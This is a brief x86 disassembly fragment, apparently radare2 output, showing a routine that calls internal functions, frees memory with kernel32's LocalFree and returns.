call fcn.0041053c
push dword [ebp - 0x54]
mov eax, dword [edi]
push dword [ebp - 0x50]
push eax
call fcn.0043a894
add esp, 0xc
push dword [ebp - 0x50]
call dword [sym.imp.kernel32.dll_LocalFree]
mov eax, edi
call fcn.00441f9d
ret